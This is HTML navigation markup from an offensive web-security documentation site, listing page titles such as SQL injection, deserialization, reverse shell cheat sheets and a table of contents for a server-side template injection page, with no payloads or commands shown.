<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Hidden%20Parameters/" class="md-nav__link">
<span class="md-ellipsis">
HTTP Hidden Parameters
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_25" >
<label class="md-nav__link" for="__nav_25" id="__nav_25_label" tabindex="0">
<span class="md-ellipsis">
Insecure Deserialization
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_25_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_25">
<span class="md-nav__icon md-icon"></span>
Insecure Deserialization
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/DotNET/" class="md-nav__link">
<span class="md-ellipsis">
.NET Serialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Java/" class="md-nav__link">
<span class="md-ellipsis">
Java Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Node/" class="md-nav__link">
<span class="md-ellipsis">
Node Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/PHP/" class="md-nav__link">
<span class="md-ellipsis">
PHP Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Python/" class="md-nav__link">
<span class="md-ellipsis">
Python Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/Ruby/" class="md-nav__link">
<span class="md-ellipsis">
Ruby Deserialization
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Insecure%20Deserialization/YAML/" class="md-nav__link">
<span class="md-ellipsis">
YAML Deserialization
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_26" >
<label class="md-nav__link" for="__nav_26" id="__nav_26_label" tabindex="0">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_26_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_26">
<span class="md-nav__icon md-icon"></span>
Insecure Direct Object References
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Direct%20Object%20References/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Direct Object References
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_27" >
<label class="md-nav__link" for="__nav_27" id="__nav_27_label" tabindex="0">
<span class="md-ellipsis">
Insecure Management Interface
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_27_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_27">
<span class="md-nav__icon md-icon"></span>
Insecure Management Interface
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Management%20Interface/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Management Interface
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_28" >
<label class="md-nav__link" for="__nav_28" id="__nav_28_label" tabindex="0">
<span class="md-ellipsis">
Insecure Randomness
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_28_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_28">
<span class="md-nav__icon md-icon"></span>
Insecure Randomness
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Randomness/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Randomness
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_29" >
<label class="md-nav__link" for="__nav_29" id="__nav_29_label" tabindex="0">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_29_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_29">
<span class="md-nav__icon md-icon"></span>
Insecure Source Code Management
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Insecure%20Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Insecure Source Code Management
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_30" >
<label class="md-nav__link" for="__nav_30" id="__nav_30_label" tabindex="0">
<span class="md-ellipsis">
JSON Web Token
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_30_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_30">
<span class="md-nav__icon md-icon"></span>
JSON Web Token
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../JSON%20Web%20Token/" class="md-nav__link">
<span class="md-ellipsis">
JWT - JSON Web Token
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_31" >
<label class="md-nav__link" for="__nav_31" id="__nav_31_label" tabindex="0">
<span class="md-ellipsis">
Java RMI
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_31_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_31">
<span class="md-nav__icon md-icon"></span>
Java RMI
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Java%20RMI/" class="md-nav__link">
<span class="md-ellipsis">
Java RMI
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_32" >
<label class="md-nav__link" for="__nav_32" id="__nav_32_label" tabindex="0">
<span class="md-ellipsis">
Kubernetes
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_32_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_32">
<span class="md-nav__icon md-icon"></span>
Kubernetes
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Kubernetes/" class="md-nav__link">
<span class="md-ellipsis">
Kubernetes
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_33" >
<label class="md-nav__link" for="__nav_33" id="__nav_33_label" tabindex="0">
<span class="md-ellipsis">
LDAP Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_33_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_33">
<span class="md-nav__icon md-icon"></span>
LDAP Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LDAP%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LDAP Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_34" >
<label class="md-nav__link" for="__nav_34" id="__nav_34_label" tabindex="0">
<span class="md-ellipsis">
LaTeX Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_34_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_34">
<span class="md-nav__icon md-icon"></span>
LaTeX Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../LaTeX%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
LaTex Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_35" >
<label class="md-nav__link" for="__nav_35" id="__nav_35_label" tabindex="0">
<span class="md-ellipsis">
Mass Assignment
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_35_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_35">
<span class="md-nav__icon md-icon"></span>
Mass Assignment
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Mass%20Assignment/" class="md-nav__link">
<span class="md-ellipsis">
Mass Assignment
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_36" >
<label class="md-nav__link" for="__nav_36" id="__nav_36_label" tabindex="0">
<span class="md-ellipsis">
Methodology and Resources
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_36_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_36">
<span class="md-nav__icon md-icon"></span>
Methodology and Resources
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Active%20Directory%20Attack/" class="md-nav__link">
<span class="md-ellipsis">
Active Directory Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Bind%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Bind Shell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20AWS%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - AWS
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cloud%20-%20Azure%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Cloud - Azure
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Cobalt%20Strike%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Cobalt Strike
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Docker%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Docker
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Container%20-%20Kubernetes%20Pentest/" class="md-nav__link">
<span class="md-ellipsis">
Container - Kubernetes
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Escape%20Breakout/" class="md-nav__link">
<span class="md-ellipsis">
Application Escape and Breakout
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/HTML%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
HTML Smuggling
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Hash%20Cracking/" class="md-nav__link">
<span class="md-ellipsis">
Hash Cracking
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Initial%20Access/" class="md-nav__link">
<span class="md-ellipsis">
Initial Access
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Evasion/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Evasion
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Linux%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Linux - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/MSSQL%20Server%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Server
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Metasploit%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Metasploit
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Methodology%20and%20enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Bug Hunting Methodology and Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Miscellaneous%20-%20Tricks/" class="md-nav__link">
<span class="md-ellipsis">
Miscellaneous & Tricks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Discovery/" class="md-nav__link">
<span class="md-ellipsis">
Network Discovery
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Network%20Pivoting%20Techniques/" class="md-nav__link">
<span class="md-ellipsis">
Network Pivoting Techniques
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Office%20-%20Attacks/" class="md-nav__link">
<span class="md-ellipsis">
Office - Attacks
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Powershell%20-%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Powershell
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Reverse%20Shell%20Cheatsheet/" class="md-nav__link">
<span class="md-ellipsis">
Reverse Shell Cheat Sheet
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Source%20Code%20Management/" class="md-nav__link">
<span class="md-ellipsis">
Source Code Management & CI/CD Compromise
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Subdomains%20Enumeration/" class="md-nav__link">
<span class="md-ellipsis">
Subdomains Enumeration
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Vulnerability%20Reports/" class="md-nav__link">
<span class="md-ellipsis">
Vulnerability Reports
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20AMSI%20Bypass/" class="md-nav__link">
<span class="md-ellipsis">
Windows - AMSI Bypass
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20DPAPI/" class="md-nav__link">
<span class="md-ellipsis">
Windows - DPAPI
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Defenses/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Defenses
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Download%20and%20Execute/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Download and execute methods
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Mimikatz/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Mimikatz
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Persistence/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Persistence
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Privilege%20Escalation/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Privilege Escalation
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../Methodology%20and%20Resources/Windows%20-%20Using%20credentials/" class="md-nav__link">
<span class="md-ellipsis">
Windows - Using credentials
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_37" >
<label class="md-nav__link" for="__nav_37" id="__nav_37_label" tabindex="0">
<span class="md-ellipsis">
NoSQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_37_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_37">
<span class="md-nav__icon md-icon"></span>
NoSQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../NoSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
NoSQL Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_38" >
<label class="md-nav__link" for="__nav_38" id="__nav_38_label" tabindex="0">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_38_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_38">
<span class="md-nav__icon md-icon"></span>
OAuth Misconfiguration
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../OAuth%20Misconfiguration/" class="md-nav__link">
<span class="md-ellipsis">
OAuth Misconfiguration
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_39" >
<label class="md-nav__link" for="__nav_39" id="__nav_39_label" tabindex="0">
<span class="md-ellipsis">
Open Redirect
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_39_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_39">
<span class="md-nav__icon md-icon"></span>
Open Redirect
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Open%20Redirect/" class="md-nav__link">
<span class="md-ellipsis">
Open URL Redirection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_40" >
<label class="md-nav__link" for="__nav_40" id="__nav_40_label" tabindex="0">
<span class="md-ellipsis">
Prompt Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_40_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_40">
<span class="md-nav__icon md-icon"></span>
Prompt Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prompt%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Prompt Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_41" >
<label class="md-nav__link" for="__nav_41" id="__nav_41_label" tabindex="0">
<span class="md-ellipsis">
Prototype Pollution
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_41_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_41">
<span class="md-nav__icon md-icon"></span>
Prototype Pollution
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Prototype%20Pollution/" class="md-nav__link">
<span class="md-ellipsis">
Prototype Pollution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_42" >
<label class="md-nav__link" for="__nav_42" id="__nav_42_label" tabindex="0">
<span class="md-ellipsis">
Race Condition
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_42_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_42">
<span class="md-nav__icon md-icon"></span>
Race Condition
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Race%20Condition/" class="md-nav__link">
<span class="md-ellipsis">
Race Condition
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_43" >
<label class="md-nav__link" for="__nav_43" id="__nav_43_label" tabindex="0">
<span class="md-ellipsis">
Request Smuggling
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_43_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_43">
<span class="md-nav__icon md-icon"></span>
Request Smuggling
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Request%20Smuggling/" class="md-nav__link">
<span class="md-ellipsis">
Request Smuggling
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_44" >
<label class="md-nav__link" for="__nav_44" id="__nav_44_label" tabindex="0">
<span class="md-ellipsis">
SAML Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_44_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_44">
<span class="md-nav__icon md-icon"></span>
SAML Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SAML%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SAML Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_45" >
<label class="md-nav__link" for="__nav_45" id="__nav_45_label" tabindex="0">
<span class="md-ellipsis">
SQL Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_45_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_45">
<span class="md-nav__icon md-icon"></span>
SQL Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../SQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/BigQuery%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Google BigQuery SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/Cassandra%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Cassandra Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/DB2%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
DB2 Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/HQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Hibernate Query Language Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MSSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MSSQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/MySQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
MySQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/OracleSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Oracle SQL Injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/PostgreSQL%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
PostgreSQL injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="../SQL%20Injection/SQLite%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
SQLite Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_46" >
<label class="md-nav__link" for="__nav_46" id="__nav_46_label" tabindex="0">
<span class="md-ellipsis">
Server Side Include Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_46_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_46">
<span class="md-nav__icon md-icon"></span>
Server Side Include Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Include%20Injection/" class="md-nav__link">
<span class="md-ellipsis">
Server Side Include Injection
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_47" >
<label class="md-nav__link" for="__nav_47" id="__nav_47_label" tabindex="0">
<span class="md-ellipsis">
Server Side Request Forgery
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_47_label" aria-expanded="false">
<label class="md-nav__title" for="__nav_47">
<span class="md-nav__icon md-icon"></span>
Server Side Request Forgery
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item">
<a href="../Server%20Side%20Request%20Forgery/" class="md-nav__link">
<span class="md-ellipsis">
Server-Side Request Forgery
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item md-nav__item--active md-nav__item--nested">
<input class="md-nav__toggle md-toggle " type="checkbox" id="__nav_48" checked>
<label class="md-nav__link" for="__nav_48" id="__nav_48_label" tabindex="0">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<nav class="md-nav" data-md-level="1" aria-labelledby="__nav_48_label" aria-expanded="true">
<label class="md-nav__title" for="__nav_48">
<span class="md-nav__icon md-icon"></span>
Server Side Template Injection
</label>
<ul class="md-nav__list" data-md-scrollfix>
<li class="md-nav__item md-nav__item--active">
<input class="md-nav__toggle md-toggle" type="checkbox" id="__toc">
<label class="md-nav__link md-nav__link--active" for="__toc">
<span class="md-ellipsis">
Server Side Template Injection
</span>
<span class="md-nav__icon md-icon"></span>
</label>
<a href="./" class="md-nav__link md-nav__link--active">
<span class="md-ellipsis">
Server Side Template Injection
</span>
</a>
<nav class="md-nav md-nav--secondary" aria-label="Table of contents">
<label class="md-nav__title" for="__toc">
<span class="md-nav__icon md-icon"></span>
Table of contents
</label>
<ul class="md-nav__list" data-md-component="toc" data-md-scrollfix>
<li class="md-nav__item">
<a href="#summary" class="md-nav__link">
<span class="md-ellipsis">
Summary
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#tools" class="md-nav__link">
<span class="md-ellipsis">
Tools
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#methodology" class="md-nav__link">
<span class="md-ellipsis">
Methodology
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#detection" class="md-nav__link">
<span class="md-ellipsis">
Detection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#aspnet-razor" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor
</span>
</a>
<nav class="md-nav" aria-label="ASP.NET Razor">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#aspnet-razor-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#aspnet-razor-command-execution" class="md-nav__link">
<span class="md-ellipsis">
ASP.NET Razor - Command execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#expression-language-el" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL
</span>
</a>
<nav class="md-nav" aria-label="Expression Language EL">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#expression-language-el-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-properties" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Properties
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-one-liner-injections-not-including-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - One-Liner injections not including code execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#expression-language-el-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Expression Language EL - Code Execution
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#freemarker" class="md-nav__link">
<span class="md-ellipsis">
Freemarker
</span>
</a>
<nav class="md-nav" aria-label="Freemarker">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#freemarker-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-read-file" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Read File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-code-execution" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Code execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#freemarker-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Freemarker - Sandbox bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#groovy" class="md-nav__link">
<span class="md-ellipsis">
Groovy
</span>
</a>
<nav class="md-nav" aria-label="Groovy">
<ul class="md-nav__list">
<li class="md-nav__item">
<a href="#groovy-basic-injection" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Basic injection
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-read-and-create-file" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Read and create File
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-http-request" class="md-nav__link">
<span class="md-ellipsis">
Groovy - HTTP request:
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-command-execution" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Command Execution
</span>
</a>
</li>
<li class="md-nav__item">
<a href="#groovy-sandbox-bypass" class="md-nav__link">
<span class="md-ellipsis">
Groovy - Sandbox Bypass
</span>
</a>
</li>
</ul>
</nav>
</li>
<li class="md-nav__item">
<a href="#handlebars" class="md-nav__link">
<span class="md-ellipsis">
Handlebars
</span>
</a>
<nav class="md-nav" aria-label="Handlebars">
<ul class="md-nav__list">
